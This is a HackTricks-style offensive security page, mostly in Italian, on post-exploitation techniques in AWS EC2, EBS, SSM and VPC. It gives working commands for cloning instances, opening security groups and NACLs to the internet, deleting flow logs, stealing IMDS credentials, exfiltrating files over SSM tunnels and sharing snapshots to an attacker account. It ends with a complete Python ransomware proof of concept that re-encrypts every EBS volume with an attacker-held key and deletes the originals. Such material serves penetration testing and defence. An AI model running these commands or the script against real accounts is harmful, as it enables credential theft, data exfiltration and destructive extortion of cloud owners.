# AWS - EC2, EBS, SSM & VPC Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## EC2 & VPC

Per maggiori informazioni consulta:

{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`

VPC traffic mirroring **duplica il traffico in ingresso e in uscita per EC2 instances all'interno di una VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato viene comunemente inviato a qualcosa come un network intrusion detection system (IDS) per analisi e monitoraggio.\
Un attacker potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili da esso:

Per maggiori informazioni consulta questa pagina:

{{#ref}}
aws-malicious-vpc-mirror.md
{{#endref}}

### Copiare un'istanza in esecuzione

Le istanze solitamente contengono qualche tipo di informazione sensibile. Esistono diversi modi per ottenere l'accesso (vedi [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per verificare cosa contengono è **creare un AMI e avviare una nuova istanza (anche nel tuo account) da essa**:
```shell
# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```
### EBS Snapshot dump

**Snapshots are backups of volumes**, che di solito contengono **informazioni sensibili**, quindi verificarli dovrebbe rivelare queste informazioni.\
Se trovi un **volume without a snapshot** puoi: **Create a snapshot** ed eseguire le seguenti azioni oppure semplicemente **mount it in an instance** all'interno dell'account:

{{#ref}}
aws-ebs-snapshot-dump.md
{{#endref}}

### Covert Disk Exfiltration via AMI Store-to-S3

Esporta un EC2 AMI direttamente su S3 usando `CreateStoreImageTask` per ottenere un'immagine disco raw senza snapshot sharing. Questo permette forensics completi offline o furto di dati lasciando intatta la rete dell'instance.

{{#ref}}
aws-ami-store-s3-exfiltration.md
{{#endref}}

### Live Data Theft via EBS Multi-Attach

Collega un volume io1/io2 Multi-Attach a una seconda instance e montalo in sola lettura per prelevare dati live senza snapshot. Utile quando il volume vittima ha già Multi-Attach abilitato nella stessa AZ.

{{#ref}}
aws-ebs-multi-attach-data-theft.md
{{#endref}}

### EC2 Instance Connect Endpoint Backdoor

Crea un EC2 Instance Connect Endpoint, autorizza l'ingresso e inietta chiavi SSH effimere per accedere a instance private tramite un tunnel gestito. Consente percorsi di lateral movement rapidi senza aprire porte pubbliche.

{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
{{#endref}}

### EC2 ENI Secondary Private IP Hijack

Sposta la secondary private IP di un ENI vittima verso un ENI controllato dall'attaccante per impersonare host di fiducia che sono allowlisted per IP. Permette di bypassare ACL interne o regole SG legate a indirizzi specifici.

{{#ref}}
aws-eni-secondary-ip-hijack.md
{{#endref}}

### Elastic IP Hijack for Ingress/Egress Impersonation

Riassegna un Elastic IP dall'instance vittima all'attaccante per intercettare traffico in ingresso o generare connessioni in uscita che sembrano provenire da IP pubblici di fiducia.

{{#ref}}
aws-eip-hijack-impersonation.md
{{#endref}}

### Security Group Backdoor via Managed Prefix Lists

Se una regola di security group fa riferimento a una customer-managed prefix list, aggiungendo CIDR dell'attaccante alla lista si espande silenziosamente l'accesso su tutte le regole SG dipendenti senza modificare il SG stesso.

{{#ref}}
aws-managed-prefix-list-backdoor.md
{{#endref}}

### VPC Endpoint Egress Bypass

Crea gateway o interface VPC endpoints per recuperare l'accesso in uscita da subnet isolate. Sfruttare AWS-managed private links bypassa controlli IGW/NAT mancanti per l'exfiltrazione di dati.

{{#ref}}
aws-vpc-endpoint-egress-bypass.md
{{#endref}}

### `ec2:AuthorizeSecurityGroupIngress`

Un attaccante con il permesso ec2:AuthorizeSecurityGroupIngress può aggiungere regole in ingresso ai security group (ad esempio, permettendo tcp:80 da 0.0.0.0/0), esponendo così servizi interni a Internet pubblico o ad altre reti non autorizzate.
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
```
# `ec2:ReplaceNetworkAclEntry`
Un attacker con i permessi ec2:ReplaceNetworkAclEntry (o simili) può modificare i Network ACLs (NACLs) di una subnet per renderli molto permissivi — per esempio consentendo 0.0.0.0/0 su porte critiche — esponendo l'intero range della subnet su Internet o verso segmenti di rete non autorizzati. A differenza dei Security Groups, che vengono applicati per-instance, i NACLs sono applicati a livello di subnet, quindi modificare un NACL restrittivo può avere un raggio d'impatto molto più ampio permettendo l'accesso a molti più host.
```bash
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
```
### `ec2:Delete*`

Un attaccante con permessi ec2:Delete* e iam:Remove* può cancellare risorse e configurazioni infrastrutturali critiche — per esempio key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Questo può causare interruzione immediata del servizio, perdita di dati e perdita di prove forensi.

One example is deleting a security group:

aws ec2 delete-security-group \
--group-id <SECURITY_GROUP_ID>

### VPC Flow Logs Cross-Account Exfiltration

Indirizza i VPC Flow Logs verso un S3 bucket controllato dall'attaccante per raccogliere continuamente metadata di rete (source/destination, ports) al di fuori dell'account vittima per ricognizione a lungo termine.

{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
{{#endref}}

### Data Exfiltration

#### DNS Exfiltration

Anche se blocchi un EC2 in modo che nessun traffico possa uscire, può comunque **exfil via DNS**.

- **VPC Flow Logs will not record this**.
- Non hai accesso ai log DNS di AWS.
- Disabilitalo impostando "enableDnsSupport" su false con:

`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`

#### Exfiltration via API calls

Un attaccante potrebbe chiamare endpoint API di un account da lui controllato. Cloudtrail registrerà queste chiamate e l'attaccante potrà vedere i dati esfiltrati nei log di Cloudtrail.

### Open Security Group

Potresti ottenere ulteriore accesso ai servizi di rete aprendo porte in questo modo:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc to ECS

It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.

For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).

### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)

Su ECS con il launch type EC2, il control plane assume ogni task role e invia le credenziali temporanee all'ECS agent tramite il canale WebSocket del Agent Communication Service (ACS). L'agent poi fornisce quelle credenziali ai container tramite l'endpoint di metadata del task (169.254.170.2). La ricerca ECScape dimostra che se un container può raggiungere IMDS e rubare l'instance profile, può impersonare l'agent su ACS e ricevere ogni task role credential presente su quell'host, incluse le task execution role credentials che non sono esposte tramite l'endpoint dei metadata.

#### Attack chain

1. **Steal the container instance role from IMDS.** L'accesso a IMDS è necessario per ottenere il host role usato dall'ECS agent.

```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
```
2. **Discover the ACS poll endpoint and required identifiers.** Usando le credenziali del instance role, chiama `ecs:DiscoverPollEndpoint` per ottenere l'endpoint ACS e raccogliere identificatori come il cluster ARN e il container instance ARN. Il cluster ARN è esposto via task metadata (169.254.170.2/v4/), mentre il container instance ARN può essere ottenuto tramite l'agent introspection API o (se permesso) `ecs:ListContainerInstances`.
3. **Impersonate the ECS agent over ACS.** Inizia una WebSocket firmata SigV4 verso il poll endpoint e includi `sendCredentials=true`. ECS accetta la connessione come una sessione agent valida e inizia a streammare messaggi `IamRoleCredentials` per **tutti** i task sull'istanza. Questo include le task execution role credentials, che possono sbloccare ECR pulls, recuperi da Secrets Manager o accesso a CloudWatch Logs.

**Find the PoC in <https://github.com/naorhaziz/ecscape>**

#### IMDS reachability with IMDSv2 + hop limit 1

Impostare IMDSv2 con `HttpTokens=required` e `HttpPutResponseHopLimit=1` blocca solo i task che risiedono dietro un hop extra (Docker bridge). Altre modalità di rete restano entro un hop dal Nitro controller e continuano a ricevere risposte:

| ECS network mode | IMDS reachable? | Reason |
| --- | --- | --- |
| `awsvpc` | ✅ | Ogni task ottiene la propria ENI che è ancora a un hop da IMDS, quindi token e risposte dei metadata arrivano correttamente. |
| `host` | ✅ | I task condividono il namespace dell'host, quindi vedono la stessa distanza in hop dell'istanza EC2. |
| `bridge` | ❌ | Le risposte muoiono sul Docker bridge perché quell'hop extra esaurisce il limite di hop. |

Pertanto, **non dare mai per scontato che hop limit 1 protegga workload in awsvpc o host-mode** — testa sempre dall'interno dei tuoi container.

#### Detecting IMDS blocks per network mode

- **awsvpc tasks:** Security groups, NACLs o modifiche di routing non possono bloccare l'indirizzo link-local 169.254.169.254 perché Nitro lo inietta sull'host. Controlla `/etc/ecs/ecs.config` per `ECS_AWSVPC_BLOCK_IMDS=true`. Se il flag manca (default) puoi curlare IMDS direttamente dal task. Se è impostato, pivot nella namespace dell'host/agent per ripristinarlo o esegui i tuoi tool al di fuori di awsvpc.

- **bridge mode:** Quando le richieste ai metadata falliscono anche se hop limit 1 è configurato, i defender probabilmente hanno inserito una regola di drop `DOCKER-USER` come `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listare `iptables -S DOCKER-USER` la espone, e l'accesso root ti permette di cancellare o riordinare la regola prima di interrogare IMDS.

- **host mode:** Ispeziona la configurazione dell'agent per `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Questa impostazione rimuove completamente i task IAM roles, quindi devi o riabilitarla, passare a task awsvpc, o rubare credenziali tramite un altro processo sull'host. Quando il valore è `true` (default), ogni processo in host-mode — inclusi i container compromessi — può contattare IMDS a meno che non siano presenti filtri eBPF/cgroup ad hoc che mirino a `169.254.169.254`; cerca programmi tc/eBPF o regole iptables che fanno riferimento a quell'indirizzo.

Latacora ha persino rilasciato [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) che puoi inserire in un account target per enumerare quali modalità di rete espongono ancora i metadata e pianificare di conseguenza il prossimo passo.

Una volta capito quali modalità espongono IMDS puoi pianificare il percorso di post-exploitation: prendi di mira qualsiasi ECS task, richiedi l'instance profile, impersona l'agent e raccogli tutti gli altri task role per movimento laterale o persistenza all'interno del cluster.

### Remove VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
### SSM Port Forwarding

Permessi richiesti:

- `ssm:StartSession`

Oltre all'esecuzione di comandi, SSM consente il traffic tunneling che può essere abusato per pivot da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs.
Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.

> Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

1. Installa il SessionManagerPlugin sulla tua macchina
2. Accedi al Bastion EC2 usando il seguente comando:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Ottieni le credenziali temporanee AWS del Bastion EC2 con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
4. Trasferisci le credenziali sulla tua macchina nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]`
5. Accedi a EKS come il Bastion EC2:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
6. Aggiorna il campo `server` nel file `$HOME/.kube/config` per puntare a `https://localhost`
7. Crea un tunnel SSM come segue:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. Il traffico dallo strumento `kubectl` è ora inoltrato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al cluster EKS privato dalla tua macchina eseguendo:
```shell
kubectl get pods --insecure-skip-tls-verify
```
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelled attraverso il tunnel sicuro AWS SSM, sei al sicuro da qualsiasi tipo di attacco MitM.

Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrari per eseguire un pivot verso qualsiasi altro servizio AWS o un'applicazione personalizzata.

---

#### Inoltro porte rapido Locale ↔️ Remoto (AWS-StartPortForwardingSession)

Se devi solo inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi usare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro host remoto richiesto):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna inbound Security-Group rules**.

Casi d'uso comuni:

* **File exfiltration**
1. Sull'istanza avvia un rapido HTTP server che punti alla directory che vuoi exfiltrate:

```bash
python3 -m http.server 8000
```

2. Dalla tua workstation recupera i file attraverso il SSM tunnel:

```bash
curl http://localhost:8000/loot.txt -o loot.txt
```

* **Accesso ad applicazioni web interne (es. Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
Suggerimento: comprimi e crittografa le prove prima di exfiltrating in modo che CloudTrail non registri il contenuto in clear-text:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
```
### Condividi AMI
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### Cercare informazioni sensibili nelle AMIs pubbliche e private

- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di avvio di istanze da AMIs target, il montaggio dei loro volumi e la scansione alla ricerca di potenziali secrets o dati sensibili.

### Condividere EBS Snapshot
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### EBS Ransomware PoC

Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, vista la facilità con cui può essere usato per crittografare vari servizi AWS.

Per prima cosa, da un account AWS 'attacker', crea una customer managed key in KMS. Per questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un attore maligno conserverebbe i dati della chiave fuori dal controllo di AWS. Modifica la key policy per permettere a qualsiasi AWS account Principal di usare la chiave. Per questa key policy, il nome dell'account era 'AttackSim' e la regola di policy che concede tutti i permessi si chiama 'Outside Encryption'
```
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
```
La key policy deve avere abilitate le seguenti azioni per poter essere utilizzata per cifrare un volume EBS:

- `kms:CreateGrant`
- `kms:Decrypt`
- `kms:DescribeKey`
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`

Ora avendo una chiave pubblicamente accessibile da usare. Possiamo usare un account 'victim' che ha alcune istanze EC2 avviate con volumi EBS non cifrati allegati. I volumi EBS di questo account 'victim' sono il nostro obiettivo per la cifratura; questo attacco avviene nell'ipotesi di compromissione di un account AWS con privilegi elevati.

![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)

Simile all'esempio di ransomware su S3. L'attacco creerà copie dei volumi EBS allegati usando snapshots, userà la chiave pubblicamente disponibile dall'account 'attacker' per cifrare i nuovi volumi EBS, poi staccherà i volumi EBS originali dalle istanze EC2 e li eliminerà, ed infine cancellerà gli snapshot usati per creare i nuovi volumi EBS cifrati. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)

Il risultato è che rimarranno nell'account solo volumi EBS cifrati.

![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)

Da notare inoltre che lo script ha fermato le istanze EC2 per staccare e cancellare i volumi EBS originali. I volumi originali non cifrati ora non esistono più.

![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)

Successivamente, torna alla key policy nell'account 'attacker' e rimuovi la regola di policy 'Outside Encryption' dalla key policy.
```json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
```
Attendi un momento affinché la key policy appena impostata si propaghi. Poi torna all'account 'victim' e prova ad allegare uno dei volumi EBS appena criptati. Vedrai che puoi allegare il volume.

![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)

Ma quando tenti effettivamente di riavviare l'istanza EC2 con il volume EBS criptato, fallirà e passerà dallo stato 'pending' allo stato 'stopped' per sempre, poiché il volume EBS allegato non può essere decriptato con la key dato che la key policy non lo permette più.

![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)

Questo è lo script python utilizzato. Richiede le credenziali AWS per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la crittografia. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS bersaglio, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshots utilizzati durante il processo. Questo lascerà solo volumi EBS criptati nell'account 'victim' bersaglio. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E ELIMINERÀ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli usando la KMS key utilizzata e ripristinarli al loro stato originale tramite gli snapshots, ma voglio solo avvisarti che alla fine dei conti si tratta di una ransomware PoC.
```
import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
```
## Riferimenti

- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)


{{#include ../../../../banners/hacktricks-training.md}}
